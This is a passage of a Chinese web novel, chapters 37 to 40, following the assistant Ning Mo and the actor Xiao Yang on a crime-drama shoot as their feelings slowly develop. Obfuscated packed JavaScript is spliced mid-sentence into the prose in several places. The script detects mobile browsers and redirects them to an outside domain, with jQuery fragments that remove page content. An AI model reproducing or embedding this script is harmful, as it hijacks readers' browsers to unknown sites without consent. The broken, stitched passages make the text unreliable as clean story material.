浦世诚一愣：“谁？” 萧扬终于收起笑容，顺便冷漠地瞥了浦世诚一眼：“跟你说了你也不知道。” “？？？”浦世诚大怒，“不是，萧扬你现在怎么回事？整天说话神神叨叨的，你拍戏拍中邪了啊？” 37. 第37章 上午拍摄任务不重，海文成是补拍，原本的剧情他早就驾轻就熟，换上外卖员衣服，赫然就成了那个伪装外卖员接近嫌疑人的老刑警周沉。 他和萧扬第一次合作，两个人却十分默契，很多对手戏几乎一遍就过，连陈昌都惊叹他们两个默契度实在是高。 海文成对萧扬也是十分欣赏，休息的时候拉着他问东问西，对他很是关照。 中午的时候海文成又请客，点了个烤鸭外卖，每人一份，连包装袋都精致豪华、造价不菲。 宋依依捧着烤鸭的豪华包装袋笑成了朵花：“早就听说海文成大方，没想到这么大方，早上吃茶点中午吃烤鸭，这也太快乐了吧！” 宁茉坐在她旁边，非常赞同地点了点头：“王墨今天不来，实在是他没福气。” 萧扬听到她的话，看了一眼几人身边的烤鸭，又收回了目光。 浦世诚在他旁边笑：“别羡慕啦，烤鸭你是吃不了了，不过给你点的营养餐马上就送来了。” “只吃烤鸭不腻吗？”萧扬淡淡开口。 “？”浦世诚没理解他的意思。 “你不是说有家店煲汤做得很好吗？”萧扬看向他，“也给大家点一份吧。” 浦世诚一脸稀奇：“呦？你也要请？” 他看一眼不远处的剧组众人，又看回萧扬，阴阳怪气的：“海影帝请客是因为他是男主演，来慰劳大家，你一个男N号请客算怎么回事？” “……”萧扬无语地看着他，“我是让你给宁茉和宋依依点一份。” “……哦，误会了，”浦世诚嘿嘿一笑，“我还以为你也想出出风头，打肿脸充胖子呢。” 萧扬懒得理他，浦世诚又故意语重心长道：“萧扬啊，别忘了咱们还是有债在身的，你这又送手机又天天请客的，债务状况还好吗？” “我的债务状况不劳你操心，倒是你的工作状况，很值得忧心，”萧扬看向他，眼底闪过冷淡的光，“我说过吧，《风暴降临》拍完我要准备《如意环》，中间不要接任何通告。” “……”一句话掐到浦世诚命脉，浦世诚顿时心虚起来，“你知道我接综艺了？你怎么知道的。” 萧扬冷笑一声：“霍研把合同都发过来了，我还能不知道？” 浦世诚顿时安静了几秒，又挤出一个灿烂的笑容：“……这个综艺也算是宣传《风暴降临》嘛，你去了也不亏，时间也很短，三个小时就拍完了。” 萧扬继续追问：“和乔娜娜一起？跳开场舞？” 浦世诚：“……” 萧扬扯出了个笑容：“你去替我参加吧，我看你很合适。” 浦世诚立刻认错：“哥，萧哥，有话好好说，这事我们还可以商量……” …… 午餐不仅有烤鸭，还加餐了一份鲜香的百菌汤，宁茉和宋依依两个人吃的十分开心，一点也没浪费食物。 下午剧组又迎来了女主演周杉，她是模特出身，出道后演了几部剧收视率都很高，立刻晋升到了演技派女演员行列里，周杉的脸部线条精致干练，眉眼舒展，神色自信，穿着一身黑的休闲套装往人群中一站，就天然地成了人群里的焦点。 萧扬过去和她问好，宁茉几个人也在好奇地看着她，宋依依赞叹道：“果然是女主角，好漂亮。” 宁茉也点点头：“而且看起来人也很温柔，风暴剧组的几个主演人品倒是都还挺好的。” 这时，宁茉突然看到萧扬扭头看了眼自己，似乎又打算把自己叫过去。 “！！！”宁茉睁大眼，举起双手交叉在胸前，做了个大大的叉号。 不准再叫她了！ “……”萧扬顿了一下，倒也真没喊她的名字，低头笑了一会儿。 这段剧情是刑警周沉和阑牧套近乎找信息，周杉饰演的徐霏霏在一旁暗中观察，两个主演全部就位，萧扬抱着自己的骑手头盔，倚在路边的电线杆旁，冷淡地低着头等着出餐。 周沉朝他走过来：“小兄弟，你晓不晓得进击鸡排店在哪儿伐？” 阑牧警惕地抬头看了他一眼，摇摇头，没有回话。 周沉走到他旁边露出一脸茫然的表情，挠了挠头：“这块儿我不太熟，那个定位有毛病、找不到，我要超时喽！” 说着他揉了揉腿，呲牙咧嘴的：“跑的我腿疼。” 阑牧终于看了他一眼，伸手朝着旁边的巷道一指：“那边。” “呦！谢谢小兄弟！”周沉立刻朝着巷子里跑去，三分钟后提着一份打包好的鸡排出来了，“谢谢啊！” 阑牧没有看他，低头专心看着手机里的外卖单子。 徐霏霏就坐在离两人不远处的店门口，她装做一家米粉店的女老板，坐在蓝色的塑料凳子上，大声外放着短视频，看着阑牧笑道：“弟弟，你经常送这一片哦，我看你对这边的小店都熟得很。” 阑牧点点头，始终不愿多话。 徐霏霏又看向他鼓鼓囊囊的口袋：“你带充电宝没有？我店里有，以后要是手机没电了你可以来我店里充。” 阑牧看她一眼，又低了头：“不用。” “别客气嘛，你经常送我们店里的外卖，好评高的很，”徐霏霏笑的热情大方，“顾客都说外卖员态度很好，送的又快。” “天天跑来跑去的还带着充电宝多沉啊，你就来我店里充电就行，我这儿什么数据线都有。” 阑牧下意识摸了下口袋，随后摇摇头：“谢谢，不用。” 说完他手机里传来出餐提示音，阑牧转身进了隔壁的米粉店，取餐后骑上车就离开了。 徐霏霏眯了眯眼，关掉短视频声音，打开了相册，放大自己刚刚拍摄的照片。 阑牧摸口袋的时候她看得很清楚，那里面不是充电宝，而是个细长的东西，像一把微型匕首，但又比普通的匕首要细长。 而且自从阑牧送外卖以来，他的口袋好像始终都装着那个东西。 …… 这一场戏走的很顺，陈昌精心设计了三个人的走位和镜头，三个人也都按要求保质保量地完成了。 拍完休息十分钟，徐霏霏忍不住夸萧扬演得好，没有台词的时候仅凭眼神都能迅速地抓住人物精髓，并且不管是拍远景还是当背景板，他始终沉浸在角色里。 宁茉在一旁笑眯眯的听着，同时双手不停地撕着暖宝宝包装，萧扬身上外卖员的衣服虽然防风保暖，但今天温度实在太低，还有大风，骑着车在风里难免会冷，她打算多给萧扬贴点暖宝宝。 萧扬低头看着剧本，鼻尖却闻到一甜淡的浅香，眼眸微动，他放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“太幸福了吧！”宋依依感叹道，“这是什么神仙男女主，一个比一个大方可爱。” 宁茉也点头表示赞同，同时在小零食里看了一圈，有些遗憾——没一个是萧扬能吃的。 海文成还在和萧扬拍对手戏，剧组各部门各自忙碌着，宁茉专心地拿着手机，给萧扬拍花絮。 新手机的像素非常高，放大十倍也清晰地感人，宁茉拍了很多素材，闲暇的时候就坐在一边剪视频，这段时间她积攒了很多剪好的视频，等着《风暴降临》播出的时候当做宣传物料发出去。 一堆视频里，宁茉竟然最喜欢萧扬在体育馆拍的几场戏，不管是打戏还是躲在器材室的戏份，萧扬都很好地诠释了不同心境下的少年，即便满身伤痕，脸上也永远冷硬不屈，眼底闪着倔强的光。 真好看，宁茉感叹道，把进度条往回拉，又停在了萧扬被撕扯校服的片段上。 嗯，腹肌也好看。 “……你在看什么？” 头顶冷不防传来一声低沉的男声，宁茉吓得整个人一抖，新手机差点脱手而出原地变二手手机。 ……不是吧？ 她不敢置信地缓慢抬头，正对上一双充满打量的目光，萧扬双手抱臂，目光从她满是震惊的脸上往下移，移到手机屏幕里被放大的腹肌，再往上移，重新看回宁茉的脸，挑了挑眉：“嗯？” 宁茉整个人僵住了。 ……糟糕，被当场抓包了。 38. 第 38 章 宁茉原地僵硬了足足有十秒，才找回自己的表情，说话声音都变得发虚。 “我……剪视频……在……花絮……” 一句话颠倒了三个地方，她硬是没有察觉。 “哦，”萧扬眨了眨眼，语气平静，“这么敬业。” 宁茉感觉自己脸颊烫的吓人，但她依旧努力保持镇定，将手机翻转过去避开萧扬的视线，勉强挤出一个微笑。 “……我应该做的。” 萧扬点点头，沉默了几秒，又突然笑了：“剪好记得发我看看。” 宁茉咽了口口水，笑容不变：“好的。” 萧扬似乎只是过来取个东西，很快就重新回到了拍摄片场，宁茉原地宕机了三分钟，终于回过神来。 啊！！！ 她刚刚！都在！胡言乱语！什么啊！ 为什么萧扬突然过来了？！ 宁茉深吸一口气，双眼放空，整个人瘫在椅子上，无力地关掉了剪辑软件。 她在萧扬心中的形象不会变成一个变态吧？……感觉很有可能。 职业生涯，危。 —— 男女主和萧扬的外卖员互动戏份拍了两天，随后场景就转到了地下室，也是剧本里阑牧居住的地方，阑牧被退学后住进了亲戚家一间发霉漏水的地下室，生存勉强维持在温饱线上，为了送外卖经常忙的顾不上吃饭，饥一顿饱一顿，整个人消瘦又沧桑，透露着浓重的疲惫感。 女主角徐霏霏在这个时候出现了，她继续扮做米粉店的老板，给阑牧送饭，说都是自己店里剩下的食材，不吃也浪费了。 一开始阑牧不愿意接受，就任由那几碗米粉在地下室门口放凉放坏，然后被他扔掉。 直到有一天下大雨，徐霏霏没带伞，用外套护着头在雨中往家跑，阑牧路过，把自己电动车上的挡雨披风给了她。 徐霏霏没有客气地接受了他的挡雨披风，第二天，她给阑牧的米粉里加了三个鸡蛋。 那一碗米粉，阑牧没有拒绝。 …… 周杉长得漂亮，即使穿着最简单的基础款毛衣、围着个油光发亮的围裙，也依旧漂亮的夺人眼球，加上演技自然，往那里一站似乎就天然融入了剧情里。 宁茉有时候看着看着会被她吸引，悄悄拍些她的花絮，王墨也会拍她的花絮照，这些素材收集的多了，宁茉就剪到一起，发给了周杉的助理小雨。 小雨惊喜地不得了，宁茉发来的照片不用修都漂亮，视频更是质量很高，她把这些内容给周杉看，连周杉都觉得惊讶。 “拍的很好，剪的也很好，”周杉拿着小雨的手机，笑着问萧扬，“你从哪儿招来的助理，这么厉害？” 萧扬目光向场边移过去几秒，又略带得意地看回周杉：“自己应聘的。” 周杉又笑：“这么厉害的助理，一个月工资开多少啊？” 萧扬笑容微顿，眼底带了些微妙底色：“周老师问的这么详细，不会打算挖人吧？” “这都被你猜到了，”周杉半真半假地笑道，“你有那么多助理，不差这一个吧？而且我这边也从不亏待人。” 小雨大力点点头，附和道：“是啊，衫姐对我们很好的，而且宁茉又细心又认真，很适合我们工作室的！” 萧扬的笑容还挂在脸上，眼底却彻底没了笑意：“。” 周杉很敏锐地察觉到他的变化，眨了眨眼：“嗯？不行吗？” 萧扬摇摇头：“不行。” “哈哈，好小气哦，”周杉笑了出来，又好奇地问道，“为什么不行？” “她……”萧扬想了想，声音小了些，“跟我跟习惯了。” “诶？”小雨疑惑道，“可是宁茉说她还在实习期呀。” “哦？实习期啊……”周杉这下心思真的活络了一下，眼珠一转，目光看向不远处的宁茉。 “她是我工作室里最优秀的女孩子。”萧扬突然开口。 像是怕周杉再说什么，萧扬语速变快了不少：“你想要谁都可以，唯独她不行。” 周杉愣怔了几秒，抬眼看着萧扬，眼眸睁大，停顿了一会儿，突然笑了：“萧扬我开玩笑的，你怎么这么认真。” 她笑的开心，拍了拍萧扬的肩膀：“别担心，我不会挖你的人的。” “……”萧扬僵硬的肩膀并没有放松，只是浅笑着点了点头回应她。 …… 不远处的宁茉对这边的暗流涌动一无所知，她翻了翻自己手机里的素材，在考虑要不要把海文成的片段也裁出来，有几个瞬间抓拍的很好，再看拍摄的角度，应该只有她有这些素材。 直到一个高大的身影靠近她，弯腰将目光定在她手机屏幕上。 “又在看什么？” “！”宁茉冷不防被这么一吓，一口气差点没顺上来，她拍了拍自己的胸口，把呼吸稳下去，抬头看向对方，“……萧扬，你以后来之前能不能先告诉我一下，很吓人的！” 萧扬神情坦然，伸手拉了个椅子坐到她身边：“我在这里站了两分钟了，是你看手机看的太投入，没注意到周围。” “……”宁茉叹了口气，看着他，“剧组休息了吗？” “嗯，十分钟。” 宁茉伸手去拿保温杯：“要喝水吗？” “不喝，”萧扬的目光还锁定在她屏幕上，“你还拍了海文成？” “是啊，”宁茉来了兴趣，将自己拍到的片段展示给萧扬看，“你看，这一幕光影好漂亮，你和他一个在明一个在暗，对比很明显。” “还有这个，他盯着你的背影，这个眼神好犀利！” “还有这段……” 宁茉讲的开心，萧扬却只是淡淡地看着，没什么反应。 直到对方沉默下来没回话，宁茉才察觉氛围怪怪的，她悄悄打量了一眼萧扬面无表情的脸，不明白他怎么了，只隐约察觉他不太高兴。 天气本来就冷，身边人板着脸的时候，感觉就更冷了，宁茉忍不住问：“……你怎么啦？” 萧扬很慢地眨了下眼睛，浓密的眼睫上下轻扫，在空中划出漂亮的弧度，语气却是故作冷淡的：“拍了这么多别人的画面。” “？”宁茉莫名地睁大眼，一时间没反应过来。 萧扬终于看向她，眼底带了些在意：“你就不能只拍我么？” 宁茉又呆了几秒：“……啊？” “……”萧扬说完这句话，抿了抿嘴，收回自己的视线，看向别处：“……你是我的助理，总拍别人算怎么回事。” 宁茉不解：“可是……他们是你的对手戏演员，肯定会拍到的呀。” 萧扬的脸色别扭，语气也很奇怪：“……顺带拍到和特意拍可不一样，你的镜头中心……应该是我。” 宁茉还是不解，但她看萧扬的脸，觉得自己还是不要再反驳了，乖乖应道：“哦，我知道了老板，对不起，下次我会好好拍的。” 萧扬立刻又看回她，解释道：“我没有说你拍的不好。” 宁茉：“……？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751711|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不是拍的不好，可是又不高兴，那……到底是好还是不好？ 宁茉茫然地看着他。 萧扬清了清嗓子，放轻了声音：“……以后注意就好了，也没什么。” 说完他突然起身，自己又回了片场，剩下宁茉一个人疑惑地坐在原地。 萧扬到底在说什么？ ……所以她今天表现的不太尽职是吗？一直在拍别人，没拍萧扬？ 可以前萧扬从来不会计较这种事情呀，她想拍什么都不限制，怎么今天突然在意起自己在她镜头里的比重了？ 宁茉抿了抿嘴，觉得自己可能最近表现的不太好，让萧扬有意见了。 职业生涯，高危。 —— 晚上收工后，宁茉回了酒店，还在反思自己最近哪里做的不好，却突然收到了霍研的短信。 ——三个助理实习期工资一起涨了60%。 “哇！！！”宋依依看到短信就开始欢呼，“茉茉！我们涨工资了！” “——诶？怎么涨了？” 宁茉百思不得其解，怎么萧扬说她拍的不好，工资却还涨了？ “涨工资还不好？”宋依依兴高采烈地在床上滚了两圈，“这说明我们工作努力有成效呀！” “……这就是鼓励式企业文化吗？”宁茉想了想，“萧扬工作室还真是蛮特别的。” “对了茉茉，你明天还跟吗？”宋依依趴在床上看她，“你已经连着跟了四天了吧，该休息了。” “没关系，”宁茉笑笑，“最近拍摄任务这么紧张，多去点人，也能分担一下。” 最近拍摄强度比之前大了不少，海文成和周杉一起预留了一周的档期，这一周还是勉强凑出来的，陈昌要在这期间把所有萧扬和他们的对手戏拍完，光是不同的拍摄场景都有十三个。 再加上一些耗费时间精力的动作戏，目前已经拍了三天，进度却只进展到三分之一，这就意味着后面他们要很可能要熬大夜、甚至通宵，才能完成原定的拍摄任务。 为了提高效率，这几天浦世诚安排跟组都是四个人尽量错开，给大家充分的休息时间，但宁茉似乎不知道累一般，连着排了四天的班还没有休息。 “那也不行呀，身体会吃不消的，”宋依依摇摇头，“不然你白天不要再跟了，晚上再来。” “也好，那我专心跟夜戏吧，”宁茉想了想，“晚上还能开车回来，省一个司机位置。” 宋依依忍不住叹了口气：“哦，茉茉你也太能熬了……你真的不需要睡觉的吗？” 宁茉不以为意：“习惯了。” …… 这晚宁茉照旧睡的很晚，宋依依都睡了一觉醒了，她还坐在床头安静地看着平板，宋依依察觉到光，睁眼看了她一眼，翻了个身摸出手机按了两下，扭头又睡了。 宁茉没在意，等她画完最后一幅图，才看到手机里来自宋依依的消息。 她有些惊讶地转头，却看到宋依依睡得正香——她大概是迷迷糊糊发了个消息，发完就立刻又睡着了。 宁茉点开对话框，看到宋依依发来的是个表情包，上面是一只盖着被子安详躺着的柯基。 表情包上配了密密麻麻三行字，宁茉眯起眼仔细跟着念了一遍。 “一点睡六点起，ICU里喝小米……？ 两点睡六点起，骨灰盒子长方体…… 三点睡六点起，火葬场上……我和你” …… 怎么还有这种表情包。 39. 第 39 章 之后的几天，拍摄地转到了一片树林，是剧本里学校后山的外景，在后山男主角周沉发现了重要证物，而萧扬扮演的阑牧冲出来和周沉打斗，抢走了证物，这里是剧本里阑牧真正露出破绽的重要剧情。 白天云城下了场雨，树林里的泥土微微湿润，夜间的路很不好走。 宁茉背着包，手里抱着萧扬的羽绒服，站在拍摄地旁边等着，浦世诚已经先回酒店了，晚上她需要开车送萧扬回去。 打戏白天拍了一部分，现在天色已经漆黑，剧组把灯打亮，尽量模拟白天拍摄时的明暗状态，宁茉被灯光照的刺眼，背对着站了一会儿，又觉得不可思议，转身去看萧扬。 萧扬仿佛对灯光毫无知觉，只是专心沉浸在戏里，连一丝分心和抱怨都没有。 海文成走来和萧扬讨论动作，两个人一来一回，连打戏配合的都十分默契，给陈昌省了不少心。 等走戏结束，萧扬重新站回自己的位置，却察觉到一道目光，转头看过去，正对上宁茉好奇的视线。 他眸光一顿，就这么直直看了对方一会儿，直到宁茉悄悄转头，避开了他的视线。 …… 一场戏拍完，萧扬的衣服裤腿全都沾满了泥，双手更是染成了黑色，休息时他靠近宁茉，发现宁茉竟然会躲。 “……”萧扬意识到对方在躲什么，故意又朝她走了两步，伸手…… “诶！”宁茉朝前伸出一只手，做了个“停”的手势，“你要什么？我给你拿，你先别过来。” 萧扬不可思议地微微睁大双眼，随后笑了一声：“……嫌脏？” “不是不是，”宁茉没有收回挡在身前的那只手，笑容勉强，“我怕你万一蹭到哪儿了，等下和前面的镜头接不上。” 说的话倒是冠冕堂皇，但回避的样子丝毫没有犹豫，显然就是怕自己满身的泥沾到她。 萧扬挑眉：“我要喝水。” “呃……”宁茉犹豫了两秒，自己拧开了保温杯盖，又往保温杯外面包了一层纸巾，递给他，“给。” “……”萧扬没有接，他微微歪头，问道，“你不是说，我要是蹭掉了泥，戏接不上吗？” 他目光灼灼地盯着宁茉，等对方的反应。 宁茉一怔，是这么说没错，但…… 她抿了抿嘴：“那……你等我一下。” 萧扬眼见她开始低头在包里找，左翻右翻，随后“嗖”的一下，竟然从包里掏出了一根吸管。 这吸管上还有粉色的包装，一看就是前两天主演在剧组请客时剩下的一次性包装，宁茉连这种东西都还留着，像个爱捡东西的小破烂王。 宁茉十分得意于自己的智慧，快速把一次性吸管包装撕开，放到保温杯里，举到萧扬面前：“喝吧。” “……”萧扬顿了几秒，垂眸，略带无奈地低头，咬住了那根吸管。 夜色里，他穿着一套黑色休闲装，头发用发蜡抓了起来，一张精致夺目的脸清晰地露出来，鼻梁和眼侧还涂了红色的血浆，给这张脸平添了几分野性。 这样一张脸突然凑近，宁茉的注意力很难不被吸引过去，抬头看了他几秒，就看到那双垂下的桃花眼微微一抬，目光精准地定在她脸上。 “……” 宁茉若无其事地挪开目光不看他，手却抖了一下，保温杯离萧扬的脸越来越远，萧扬不得不松开吸管，笑了：“你打算把杯子拿去哪儿？” 宁茉回神，这才发现自己的手举的过高，看起来简直像是要和空气干杯。 “……” 她重新把杯子举回萧扬面前，萧扬却后退了一步：“不喝了。” 宁茉收回杯子开始找保温杯的盖子，胳膊上夹着的羽绒服却差点掉了，她立刻夹紧胳膊，生怕羽绒服掉到泥里，手忙脚乱中，吸管也从杯子里掉了出来。 越忙越乱，宁茉慌慌张张摸到盖子，萧扬同时朝她伸出手：“我帮你。” “不用！”宁茉立刻喊道，“我自己来，我可以！” “……”萧扬看着她恨不得多长出两条胳膊收拾东西的样子，没忍住又笑了。 终于，宁茉紧紧张张地收好了保温杯、拉起羽绒服，重新站好看向萧扬，刚要挤出一个笑容，冷不防脚下一滑——踩到了一块陷在泥里的落叶，瞬间失去平衡。 “啊！！！” 完蛋了——宁茉的第一反应是。 下一秒，似乎有一双手有力地圈住她，阻断她朝后摔落的势态，稳稳地接住了她。 浓郁的夜色中，宁茉只看到面前突然被拉近无数倍的面庞，和他眼底下意识的关心。 萧扬拉住了她，而且似乎是怕自己手上的泥沾到她，萧扬没有直接伸手，而是用胳膊圈住了她——确切地说，是抱住了她。 温度从对方身上不断地传来，两人中间连空气都被挤空，亲密无间的距离一瞬间很容易让人误解：仿佛他们是一对关系极为亲密的恋人，这么自然又下意识地做了拥抱的动作。 …… 宁茉的脸几乎是瞬间就红了，心脏跳动的速度不断加快，响如擂鼓。 她快速地眨了几下眼，身体僵住，连谢谢都忘了说，鼻尖全是萧扬身上的香味，是那种熟悉的草木清香。 而萧扬则是确认她站稳以后，才慢慢松开手，朝后退了一步，脸上仍旧带着笑意，只是耳尖隐隐有些发红。 “怎么这么不小心，”萧扬低头看了一眼泥地，“要是在这种地方摔了，你的衣服可就洗不干净了。” “……”宁茉抱紧怀里的东西，平复慌乱的心跳，过了几秒，才很心虚又虔诚地道谢，“……谢谢你，萧扬。” 萧扬抬起头去看她，这里灯光昏暗，但宁茉的那双眼睛亮的惊人，她定定地望着自己时，竟能无端地让人被吸引过去，许久都挪不开眼神。 耳尖似乎愈发红了，萧扬侧过头，声音低了些：“……他们叫我了，我先过去。” “好，”宁茉忍不住又说道，“小心一点，注意安全。” ——萧扬拍打戏时总是拼尽全力，看得人心惊胆战。 萧扬沉默了几秒，又看了她一眼：“嗯。” …… 这一场树林打戏一直拍到凌晨三点，收工时剧组每个人都是一脸困倦，萧扬把被泥染成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764282|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑色的衣服脱下，换了身干净衣服才上了车。 宁茉跟在他后面把东西收拾好，启动了车辆。 萧扬看着宁茉，轻声问道：“累了吧？” “我还好，”宁茉打开车灯，缓缓松开刹车，转头看向萧扬，“倒是你，后面还有三天大场面打戏，恐怕会很辛苦。” 萧扬笑了一声，仰头倒在座椅上，闭上眼：“我也还好。” “睡吧，”宁茉踩下油门，车辆缓缓出发，“这里到酒店要二十分钟，先睡一会儿。” 萧扬似乎是真的累了，没有睁开眼，只是低声道：“辛苦你了。” …… 凌晨的云城安静的像伏在地上的蘑菇，只有微弱的呼吸起伏，像是随时能和泥土融为一体。 宁茉专心开着车，放慢车速，尽量保持平稳匀速，余光却在注意着身边的人。 萧扬这几天拍戏强度太大，眼下已经累出淡淡的青色阴影，脸颊也更削瘦了，面部的骨骼感鲜明凌厉，和宁茉第一天去工作室报道时看到的他简直判若两人。 ……不止是外貌，性格其实也有了很大的改变。 宁茉想到今天萧扬扶自己的动作，明明伸手就能做到的事情，却还是用胳膊圈住她，没让手上的泥染在她身上，一点点都没有。 还有之前自己和剧组据理力争安全措施时，他不问缘由的维护。 再往前，桩桩件件，都上心的让人讶异，让人……不知所措。 第一次和萧扬出外勤时，宁茉还悄悄吐槽过，萧扬这么一个冷淡的人什么时候会把她划进“自己人”的范畴？——恐怕到三个月后实习结束都不会。 但现在才不到两个月，萧扬的态度已经和以前截然不同。 该说他天生就是这么一个会照顾人、会爱人的人，还是说他真的把宁茉当自己人，才会给予她自己人才有的特权？ 至少宁茉从来没想过会有这么一天。 她甚至开始担心，如果三个月到了，她没有被留下，她会多舍不得这份工作，舍不得……萧扬。 当偶像追星的时候，只看到他的熠熠生辉，看到他永远帅气活力的状态，可靠近了，看着他日复一日的努力，看着他从不懈怠地向前，宁茉竟然开始……心疼他。 突然想到宋依依总是挂在嘴边的一句“心疼男人倒霉一辈子”——宁茉望着前方，思绪散漫地想着，她心疼萧扬，应该不会倒霉吧？ 视线里出现酒店顶部闪亮的灯光时，宁茉意识到目的地到了，她轻打转向，一路慢速开进了酒店的停车场。 车停稳后，宁茉熄了火，随后转头看向萧扬，想叫醒他。 转过去的瞬间，宁茉却怔住了： 萧扬那双平静无波的桃花眼正安静地注视着她，不知道他是什么时候醒的，但此刻他似乎有些走神，连宁茉看过来的视线都没有注意到，就这么直直地望着她。 “……” 宁茉的表情有一瞬间的空白，刚才脑海里想的无数乱七八糟的念头，顷刻都化为飞烟，当下这一秒，她看着这双比夜色还浓郁的双眼，脑海里浮现的唯一念头是： 糟了。 40. 第 40 章 车内安静了足足有十几秒。 直到萧扬终于回神，目光在宁茉的脸上很快地扫过，看向车窗前：“到了？” 宁茉声音很轻：“……嗯。” 一路走出停车场进了酒店，宁茉都低着头没有说话，倒是萧扬几次看向她，又转过头继续向前走。 直到进了电梯，电梯缓缓上升，很快就到了五层。 宁茉走到电梯外，朝着萧扬挥挥手：“我回去了，你早点休息，明天早上依依会去叫你。” “好，”萧扬点点头，目光从她脸上略过，眼底露出温柔的笑意，“晚安。” “……晚安。” …… 电梯门缓缓关闭，宁茉站在电梯外，看着已经闭合的电梯门，神情空白，迟迟没有移动脚步。 她不知道自己怎么了。 刚才坐在漆黑安静的车里，和萧扬对视的瞬间，宁茉的脑海里像有无数画面飞快闪过，看不清具体内容，却能感觉到那些画面里充斥着剧烈的、震荡的情绪，让她的双眼瞬间开始发红，灼热的温度席卷而上，蔓延全身。 但也仅仅是一瞬间，像是有人强行按下了暂停键，这些画面和感受又被突然切走，只余一片空白。 那空白并不纯净，如同强行用白色的颜料涂抹掉了一张色彩丰富的画，从外表看这幅画变成了干净的白色，可底下被层层掩盖的，是充沛复杂又绚丽澎湃的色彩。 宁茉几乎呆住了，她好像突然间意识到了什么，却又立刻否定、推翻这些想法，直至思绪都被拉扯到刺痛、无法自洽。 …… 背包被随意丢弃在地上，宁茉慢慢蹲下来，眼底带了些空茫，愣愣地望着地上铺设的横纹地毯。 走廊里被空调暖气覆盖，温度并不低，但宁茉感觉很冷，寒气笼罩周身，向她不断地挤压，试图侵蚀她仅剩的温暖空间。 她抱紧自己的膝盖，安静地、沉默地、迟滞地在原地待了很久很久。 直到夜色被晨光刺破，浓重的雾色里透出一道暖色。 天快亮了。 —— 宋依依照例被闹钟吵醒的时候，脑子里还在重温刚才做的美梦，她懒洋洋翻了个身，却没摸到手机，这才想起睡前她给手机充电，放在了桌子上。 迅速闭着眼爬起来，宋依依一口气冲到桌子前关掉闹钟，非常抱歉地看向宁茉的床，这么大的动静，睡眠一向浅的宁茉肯定被吵醒了。 “对不起茉……” 一句话卡在喉间，宋依依眼睛缓缓睁大，看着空无一人的床。 ……宁茉呢？ 她起得这么早，连被子都叠好了？？？ 宋依依一脸茫然地起床洗漱，又抽空给宁茉打了个电话，电话刚响没几下就被挂了，下一秒房门传来刷卡的声音。 宁茉推门进来，手里还提着不少东西：“起来了？” “嗯，一大早你去哪儿了？”宋依依刷着牙，从卫生间抽空往外看了一眼，宁茉左手提着几个纸袋子，右手正把背包往地上放。 “去给你们买早饭呀，”宁茉声音一如既往的温柔清淡，“你们今天要很早出去，自助餐厅还没开，我在酒店对面的早餐铺买了你们的早餐，走的时候记得带上。” “好~”宋依依笑的很甜，“谢谢茉茉，茉茉最好了！” 宁茉笑了一声，走到自己的床边，脱掉外套，开始换睡衣。 宋依依刷完牙开始涂护肤品，涂着涂着，她动作一顿，重新转头看向房间门口。 宁茉刚才随手放下的包还躺在门边，背包鼓鼓囊囊的，和她昨天出门时的样子相差无几。 “……”宋依依愣了一会儿，快速拍完水乳，走出卫生间，“茉茉，你昨晚几点回来的？” “呃……快四点吧，”宁茉已经换好睡衣躺到床上，正在低着头看平板，还不忘提醒她，“等会儿你记得提醒萧扬喝营养冲剂，一定要吃早饭，他最近太瘦了。” “……四点才回来？”宋依依的语气有些不敢置信，“八点就又起床去买早餐了？” 宁茉看了一眼时间，现在是八点半，的确，算上往早餐铺来回的时间，她最少八点就要出门。 她点点头：“嗯，我睡觉浅嘛……你又不是不知道，早上太阳有点亮，我就醒了。” 宋依依又问：“那你出门怎么还背着包？” 宁茉顿时一怔，在平板上划着的手指心虚地朝下一点，误触点开了一个视频，嘈杂的音乐声响起，又被她快速点了暂停。 “……手机在包里，压在最下面懒得翻了，就一起带出去了。” “……哦。” 宋依依翻出气垫开始上妆，快速怕打着脸颊涂匀粉底的同时，目光朝着宁茉瞟了一眼，突然问道：“对了茉茉，我昨晚睡前往你床头放的面膜你看到了没有，你用了吗？” 宁茉头也不抬，翻着平板里的照片：“嗯，用了，还挺滋润的，谢谢你。” “……” 宋依依缓缓放下手中的气垫，走到宁茉床边，一屁股坐到了她床边，语气严肃：“茉茉，你骗我。” 宁茉动作一僵，有些惊讶地抬眼，正对上宋依依一脸认真的小脸。 “……我怎么了？” 宋依依戳了戳她背后叠的整整齐齐的被子：“你是不是一晚上没回来？” “……”宁茉呼吸停顿了两秒，又笑了，“怎么会啊，不回来我还能去哪儿？” 宋依依摇头：“可是这个被子，我昨晚睡前它就是这样的，早上醒来的时候，它连一点变化都没有——而且，我也没有往你的床头放面膜，我放在你的化妆包里。” 前面一句宁茉还下意识想狡辩一下，直到宋依依说出后面那句话，她才彻底沉默下来，有些心虚地垂下眼，没有敢和宋依依对视。 宋依依却索性蹲下来，把脸凑到宁茉面前：“茉茉，你这一晚上去哪儿了？” “我……”宁茉眨了眨眼，没想到宋依依的观察力这么强，一时间竟然都找不到一个好的解释理由。 宋依依满脸困惑：“为什么不回来？你都不困的吗？你把睡眠进化掉了？” 